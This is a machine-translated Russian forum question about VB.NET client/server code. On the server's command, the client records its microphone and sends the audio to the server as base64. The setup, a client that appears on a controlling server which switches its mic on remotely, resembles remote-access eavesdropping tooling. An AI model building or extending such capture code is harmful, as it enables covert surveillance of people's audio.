Как я могу транслировать микрофон в режиме реального времени? - PullRequest
Новая
       22

Как я могу транслировать микрофон в режиме реального времени?

0 голосов
/ 20 сентября 2018

У меня есть программа, которую я пишу, в которой есть Сервер и Клиент для связи друг с другом для потоковой передачи микрофона в режиме реального времени.

Вот как это работает

  1. Пользователь открывает client.exe, и его компьютер появляется на сервере, где я могууправляйте микрофоном (я НЕ использую это на других людях).

  2. Когда я нажимаю «слушать», я слышу микрофон клиента.

Это код, который я использую для прослушивания микрофона клиента

ПРИМЕНЕНИЕ КЛИЕНТА 

    Private Declare Function mmciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Integer, ByVal hwndCallback As Integer) As Integer

    Case "scream1"
                    mmciSendString("open new Type waveaudio Alias recsound", "", 0, 0)
                    mmciSendString("record recsound", "", 0, 0)
    Case "scream1stop"
                    mmciSendString("save recsound " + screamx, "", 0, 0)
                    mmciSendString("close recsound", "", 0, 0)
                    Dim n As New IO.FileInfo(screamx)
                    Comet.Send("scream2" & Yy & n.Name & Yy & Convert.ToBase64String(IO.File.ReadAllBytes(screamx)))
                    Comet.Send("screamf" & Yy & n.Name & Yy & Convert.ToBase64String(IO.File.ReadAllBytes(screamx)))
                    My.Computer.Audio.Stop()

ПРИМЕНЕНИЕ СЕРВЕРА 

    Timer2.Enabled = True
    Timer3.Enabled = True

    Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick


            Form1.S.Send(xxx, "scream1")

            Timer1.Enabled = True
            Timer3.Enabled = False
            Timer3.Enabled = True
        End Sub

 Private Sub BunifuFlatButton3_Click(sender As Object, e As EventArgs) Handles BunifuFlatButton3.Click

        BunifuFlatButton2.Show()
        BunifuFlatButton3.Hide()

        Form1.S.Send(xxx, "scream1stop")
        Timer1.Enabled = False


        Timer2.Enabled = False
        Timer3.Enabled = False
    End Sub

Конечно, есть другой код, который связывается с сервером, но я не думаю, что в данный момент это необходимо.

Итак, код, который я вам предоставил, он прослушивает микрофон , но не передает мой собственный микрофон .Итак, как я могу это сделать?

Существуют ли какие-либо полезные дополнения .dll для Visual Basic для выполнения этой задачи?

Если я не прояснил это достаточно, пожалуйста, прокомментируйте ниже .

Спасибо!

...